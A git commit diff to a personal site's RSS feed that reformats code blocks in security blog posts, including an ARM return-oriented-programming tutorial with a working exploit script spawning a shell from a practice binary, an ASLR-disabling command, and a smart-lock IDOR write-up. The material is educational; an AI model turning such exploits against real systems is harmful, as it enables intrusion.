all repos — site @ 3ca6e1a5d5e915e6cf17ee8d60c4ec2a36fccc5b

source for my site, found at icyphox.sh

New stuff I hope nothing broke

Signed-off-by: Anirudh <icyph0x@pm.me>
Anirudh icyph0x@pm.me
Fri, 09 Aug 2019 11:05:44 +0530
commit

3ca6e1a5d5e915e6cf17ee8d60c4ec2a36fccc5b

parent

ac78b49bab4f5449180e36088ac0ea8064d7f44f

3 files changed, 290 insertions(+), 291 deletions(-)

jump to
M build/blog/feed.xmlbuild/blog/feed.xml

@@ -41,7 +41,7 @@

<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p> <p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>, -but that didn&#8217;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p> +but that didn&#8217;t pan out, since the value being written was encrypted.<sup class="footnote-ref&#8221; id="fnref-1"><a href="#fn-1">1</a></sup></p> <h3 id="via-the-android-app">Via the Android app</h3>

@@ -153,7 +153,7 @@ (the attacker) needs to authorize that. </p>

<p>To add to that, roughly 15,000 user accounts&#8217; info are exposed via IDOR. Ilja, a cool dude I met on Telegram, noticed locks named &#8220;carlock&#8221;, -&#8220;garage&#8221;, &#8220;MainDoor&#8221;, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p> +&#8220;garage&#8221;, &#8220;MainDoor&#8221;, etc.<sup class="footnote-ref&#8221; id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p> <p><em>shudders</em></p>

@@ -180,7 +180,7 @@ with keys. With the IoT plague spreading, it brings in a large attack surface

to things that were otherwise &#8220;unhackable&#8221; (try hacking a &#8220;dumb&#8221; toaster).</p> <p>The IoT security scene is rife with bugs from over 10 years ago, like -executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development +executable stack segments<sup class="footnote-ref&#8221; id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development practices in general.</p> <p>Our existing threat models and scenarios have to be updated to factor

@@ -237,16 +237,16 @@ trivially installed.</p>

<p>And for the sake of simplicity, disable ASLR:</p> -<pre><code>$ echo 0 &gt; /proc/sys/kernel/randomize_va_space -</code></pre> +<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space +</code></pre></div> <p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a> <a href="/static/files/roplevel2.c">roplevel2</a>. </p> <p>Compile it:</p> -<pre><code>$ gcc roplevel2.c -o rop2 -</code></pre> +<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2 +</code></pre></div> <p>With that out of the way, here’s a quick run down of what ROP actually is.</p>

@@ -345,8 +345,8 @@ of the second instruction — <code>add r11, sp, #4</code>.

For this, we’ll use Python to print our input string replacing <code>FFFF</code> with the address of <code>winner</code>. Note the endianness.</p> -<pre><code>$ python -c 'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")' | ./rop2 -</code></pre> +<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">&#39;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#39;</span> <span class="p">|</span> ./rop2 +</code></pre></div> <p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>

@@ -397,16 +397,15 @@

<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be found from the disassmblies from earlier. Here’s the final exploit code:</p> -<pre><code>import struct +<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span> -binsh = struct.pack("I", 0xb6f85588) -string = "AAAABBBBCCCCDDDDEEEE" -gadget = struct.pack("I", 0x00010550) -system = struct.pack("I", 0x00010538) - -print(string + gadget + binsh + system) +<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span> +<span class="n">string</span> <span class="o">=</span> <span class="s2">&quot;AAAABBBBCCCCDDDDEEEE&quot;</span> +<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span> +<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span> -</code></pre> +<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span> +</code></pre></div> <p>Honestly, not too far off from our pseudo-code :)</p>

@@ -477,127 +476,127 @@ <p>As the title suggests, you’re going to need a Python 3 interpreter before

anything else. Once you’ve confirmed beyond reasonable doubt that you do, in fact, have a Python 3 interpreter installed on your system, run</p> -<pre><code>$ pip install capstone pyelftools -</code></pre> +<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools +</code></pre></div> <p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p> <p>With that out of the way, let’s start with an example of a basic reversing challenge.</p> -<pre><code>/* chall.c */ +<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span> -#include &lt;stdio.h&gt; -#include &lt;stdlib.h&gt; -#include &lt;string.h&gt; +<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span> +<span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span> +<span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"></span> -int main() { - char *pw = malloc(9); - pw[0] = 'a'; - for(int i = 1; i &lt;= 8; i++){ - pw[i] = pw[i - 1] + 1; - } - pw[9] = '\0'; - char *in = malloc(10); - printf("password: "); - fgets(in, 10, stdin); // 'abcdefghi' - if(strcmp(in, pw) == 0) { - printf("haha yes!\n"); - } - else { - printf("nah dude\n"); - } -} -</code></pre> +<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span> + <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span> + <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;a&#39;</span><span class="p">;</span> + <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span> + <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> + <span class="p">}</span> + <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span> + <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span> + <span class="n">printf</span><span class="p">(</span><span class="s">&quot;password: &quot;</span><span class="p">);</span> + <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// &#39;abcdefghi&#39;</span> + <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> + <span class="n">printf</span><span class="p">(</span><span class="s">&quot;haha yes!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span> + <span class="p">}</span> + <span class="k">else</span> <span class="p">{</span> + <span class="n">printf</span><span class="p">(</span><span class="s">&quot;nah dude</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span> + <span class="p">}</span> +<span class="p">}</span> +</code></pre></div> <p>Compile it with GCC/Clang:</p> -<pre><code>$ gcc chall.c -o chall.elf -</code></pre> +<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf +</code></pre></div> <h3 id="scripting">Scripting</h3> <p>For starters, let’s look at the different sections present in the binary.</p> -<pre><code># sections.py +<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span> -from elftools.elf.elffile import ELFFile +<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span> -with open('./chall.elf', 'rb') as f: - e = ELFFile(f) - for section in e.iter_sections(): - print(hex(section['sh_addr']), section.name) -</code></pre> +<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> + <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span> + <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span> + <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span> +</code></pre></div> <p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p> -<pre><code>› python sections.py -0x238 .interp -0x254 .note.ABI-tag -0x274 .note.gnu.build-id -0x298 .gnu.hash -0x2c0 .dynsym -0x3e0 .dynstr -0x484 .gnu.version -0x4a0 .gnu.version_r -0x4c0 .rela.dyn -0x598 .rela.plt -0x610 .init -0x630 .plt -0x690 .plt.got -0x6a0 .text -0x8f4 .fini -0x900 .rodata -0x924 .eh_frame_hdr -0x960 .eh_frame -0x200d98 .init_array -0x200da0 .fini_array -0x200da8 .dynamic -0x200f98 .got -0x201000 .data -0x201010 .bss -0x0 .comment -0x0 .symtab -0x0 .strtab -0x0 .shstrtab -</code></pre> +<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span> +<span class="go">0x238 .interp</span> +<span class="go">0x254 .note.ABI-tag</span> +<span class="go">0x274 .note.gnu.build-id</span> +<span class="go">0x298 .gnu.hash</span> +<span class="go">0x2c0 .dynsym</span> +<span class="go">0x3e0 .dynstr</span> +<span class="go">0x484 .gnu.version</span> +<span class="go">0x4a0 .gnu.version_r</span> +<span class="go">0x4c0 .rela.dyn</span> +<span class="go">0x598 .rela.plt</span> +<span class="go">0x610 .init</span> +<span class="go">0x630 .plt</span> +<span class="go">0x690 .plt.got</span> +<span class="go">0x6a0 .text</span> +<span class="go">0x8f4 .fini</span> +<span class="go">0x900 .rodata</span> +<span class="go">0x924 .eh_frame_hdr</span> +<span class="go">0x960 .eh_frame</span> +<span class="go">0x200d98 .init_array</span> +<span class="go">0x200da0 .fini_array</span> +<span class="go">0x200da8 .dynamic</span> +<span class="go">0x200f98 .got</span> +<span class="go">0x201000 .data</span> +<span class="go">0x201010 .bss</span> +<span class="go">0x0 .comment</span> +<span class="go">0x0 .symtab</span> +<span class="go">0x0 .strtab</span> +<span class="go">0x0 .shstrtab</span> +</code></pre></div> <p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p> <p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p> -<pre><code># disas1.py +<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span> -from elftools.elf.elffile import ELFFile -from capstone import * +<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span> +<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span> -with open('./bin.elf', 'rb') as f: - elf = ELFFile(f) - code = elf.get_section_by_name('.text') - ops = code.data() - addr = code['sh_addr'] - md = Cs(CS_ARCH_X86, CS_MODE_64) - for i in md.disasm(ops, addr): - print(f'0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}') -</code></pre> +<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./bin.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> + <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span> + <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">&#39;.text&#39;</span><span class="p">)</span> + <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span> + <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]</span> + <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span> + <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span> + <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}&#39;</span><span class="p">)</span> +</code></pre></div> <p>The code is fairly straightforward (I think). We should be seeing this, on running</p> -<pre><code>› python disas1.py | less -0x6a0: xor ebp, ebp -0x6a2: mov r9, rdx -0x6a5: pop rsi -0x6a6: mov rdx, rsp -0x6a9: and rsp, 0xfffffffffffffff0 -0x6ad: push rax -0x6ae: push rsp -0x6af: lea r8, [rip + 0x23a] -0x6b6: lea rcx, [rip + 0x1c3] -0x6bd: lea rdi, [rip + 0xe6] -**0x6c4: call qword ptr [rip + 0x200916]** -0x6ca: hlt -... snip ... -</code></pre> +<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span> +<span class="go">0x6a0: xor ebp, ebp</span> +<span class="go">0x6a2: mov r9, rdx</span> +<span class="go">0x6a5: pop rsi</span> +<span class="go">0x6a6: mov rdx, rsp</span> +<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span> +<span class="go">0x6ad: push rax</span> +<span class="go">0x6ae: push rsp</span> +<span class="go">0x6af: lea r8, [rip + 0x23a]</span> +<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span> +<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span> +<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span> +<span class="go">0x6ca: hlt</span> +<span class="go">... snip ...</span> +</code></pre></div> <p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>

@@ -609,44 +608,44 @@ </blockquote>

<p>To try and find these relocation entries, we write a third script.</p> -<pre><code># relocations.py +<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span> -import sys -from elftools.elf.elffile import ELFFile -from elftools.elf.relocation import RelocationSection +<span class="kn">import</span> <span class="nn">sys</span> +<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span> +<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span> -with open('./chall.elf', 'rb') as f: - e = ELFFile(f) - for section in e.iter_sections(): - if isinstance(section, RelocationSection): - print(f'{section.name}:') - symbol_table = e.get_section(section['sh_link']) - for relocation in section.iter_relocations(): - symbol = symbol_table.get_symbol(relocation['r_info_sym']) - addr = hex(relocation['r_offset']) - print(f'{symbol.name} {addr}') -</code></pre> +<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> + <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span> + <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span> + <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span> + <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{section.name}:&#39;</span><span class="p">)</span> + <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_link&#39;</span><span class="p">])</span> + <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span> + <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_info_sym&#39;</span><span class="p">])</span> + <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_offset&#39;</span><span class="p">])</span> + <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{symbol.name} {addr}&#39;</span><span class="p">)</span> +</code></pre></div> <p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p> -<pre><code>› python relocations.py -.rela.dyn: - 0x200d98 - 0x200da0 - 0x201008 -_ITM_deregisterTMCloneTable 0x200fd8 -**__libc_start_main 0x200fe0** -__gmon_start__ 0x200fe8 -_ITM_registerTMCloneTable 0x200ff0 -__cxa_finalize 0x200ff8 -stdin 0x201010 -.rela.plt: -puts 0x200fb0 -printf 0x200fb8 -fgets 0x200fc0 -strcmp 0x200fc8 -malloc 0x200fd0 -</code></pre> +<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span> +<span class="go">.rela.dyn:</span> +<span class="go"> 0x200d98</span> +<span class="go"> 0x200da0</span> +<span class="go"> 0x201008</span> +<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span> +<span class="go">**__libc_start_main 0x200fe0**</span> +<span class="go">__gmon_start__ 0x200fe8</span> +<span class="go">_ITM_registerTMCloneTable 0x200ff0</span> +<span class="go">__cxa_finalize 0x200ff8</span> +<span class="go">stdin 0x201010</span> +<span class="go">.rela.plt:</span> +<span class="go">puts 0x200fb0</span> +<span class="go">printf 0x200fb8</span> +<span class="go">fgets 0x200fc0</span> +<span class="go">strcmp 0x200fc8</span> +<span class="go">malloc 0x200fd0</span> +</code></pre></div> <p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib&#8212;libc-start-main-.html">linuxbase.org</a></p>

@@ -656,13 +655,13 @@ </blockquote>

<p>And its definition is like so</p> -<pre><code>int __libc_start_main(int *(main) (int, char * *, char * *), -int argc, char * * ubp_av, -void (*init) (void), -void (*fini) (void), -void (*rtld_fini) (void), -void (* stack_end)); -</code></pre> +<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span> +<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span> +<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> +<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> +<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> +<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span> +</code></pre></div> <p>Looking back at our disassembly</p>
M config.pyconfig.py

@@ -11,3 +11,4 @@ <a href="/about">about</a>

""" footer = """<a href="https://creativecommons.org/licenses/by-nc-sa/4.0/"><img src="https://licensebuttons.net/l/by-nc-sa/4.0/80x15.png"></a>""" template = 'index.html' # default is index.html +post_build = ['./rss.py']
M pages/blog/feed.xmlpages/blog/feed.xml

@@ -237,16 +237,16 @@ trivially installed.</p>

<p>And for the sake of simplicity, disable ASLR:</p> -<pre><code>$ echo 0 &gt; /proc/sys/kernel/randomize_va_space -</code></pre> +<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space +</code></pre></div> <p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a> <a href="/static/files/roplevel2.c">roplevel2</a>. </p> <p>Compile it:</p> -<pre><code>$ gcc roplevel2.c -o rop2 -</code></pre> +<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2 +</code></pre></div> <p>With that out of the way, here’s a quick run down of what ROP actually is.</p>

@@ -345,8 +345,8 @@ of the second instruction — <code>add r11, sp, #4</code>.

For this, we’ll use Python to print our input string replacing <code>FFFF</code> with the address of <code>winner</code>. Note the endianness.</p> -<pre><code>$ python -c 'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")' | ./rop2 -</code></pre> +<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">&#39;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#39;</span> <span class="p">|</span> ./rop2 +</code></pre></div> <p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>

@@ -397,16 +397,15 @@

<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be found from the disassmblies from earlier. Here’s the final exploit code:</p> -<pre><code>import struct - -binsh = struct.pack("I", 0xb6f85588) -string = "AAAABBBBCCCCDDDDEEEE" -gadget = struct.pack("I", 0x00010550) -system = struct.pack("I", 0x00010538) +<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span> -print(string + gadget + binsh + system) +<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span> +<span class="n">string</span> <span class="o">=</span> <span class="s2">&quot;AAAABBBBCCCCDDDDEEEE&quot;</span> +<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span> +<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span> -</code></pre> +<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span> +</code></pre></div> <p>Honestly, not too far off from our pseudo-code :)</p>

@@ -477,127 +476,127 @@ <p>As the title suggests, you’re going to need a Python 3 interpreter before

anything else. Once you’ve confirmed beyond reasonable doubt that you do, in fact, have a Python 3 interpreter installed on your system, run</p> -<pre><code>$ pip install capstone pyelftools -</code></pre> +<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools +</code></pre></div> <p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p> <p>With that out of the way, let’s start with an example of a basic reversing challenge.</p> -<pre><code>/* chall.c */ +<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span> -#include &lt;stdio.h&gt; -#include &lt;stdlib.h&gt; -#include &lt;string.h&gt; +<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span> +<span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span> +<span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"></span> -int main() { - char *pw = malloc(9); - pw[0] = 'a'; - for(int i = 1; i &lt;= 8; i++){ - pw[i] = pw[i - 1] + 1; - } - pw[9] = '\0'; - char *in = malloc(10); - printf("password: "); - fgets(in, 10, stdin); // 'abcdefghi' - if(strcmp(in, pw) == 0) { - printf("haha yes!\n"); - } - else { - printf("nah dude\n"); - } -} -</code></pre> +<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span> + <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span> + <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;a&#39;</span><span class="p">;</span> + <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span> + <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> + <span class="p">}</span> + <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span> + <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span> + <span class="n">printf</span><span class="p">(</span><span class="s">&quot;password: &quot;</span><span class="p">);</span> + <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// &#39;abcdefghi&#39;</span> + <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> + <span class="n">printf</span><span class="p">(</span><span class="s">&quot;haha yes!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span> + <span class="p">}</span> + <span class="k">else</span> <span class="p">{</span> + <span class="n">printf</span><span class="p">(</span><span class="s">&quot;nah dude</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span> + <span class="p">}</span> +<span class="p">}</span> +</code></pre></div> <p>Compile it with GCC/Clang:</p> -<pre><code>$ gcc chall.c -o chall.elf -</code></pre> +<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf +</code></pre></div> <h3 id="scripting">Scripting</h3> <p>For starters, let’s look at the different sections present in the binary.</p> -<pre><code># sections.py +<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span> -from elftools.elf.elffile import ELFFile +<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span> -with open('./chall.elf', 'rb') as f: - e = ELFFile(f) - for section in e.iter_sections(): - print(hex(section['sh_addr']), section.name) -</code></pre> +<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> + <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span> + <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span> + <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span 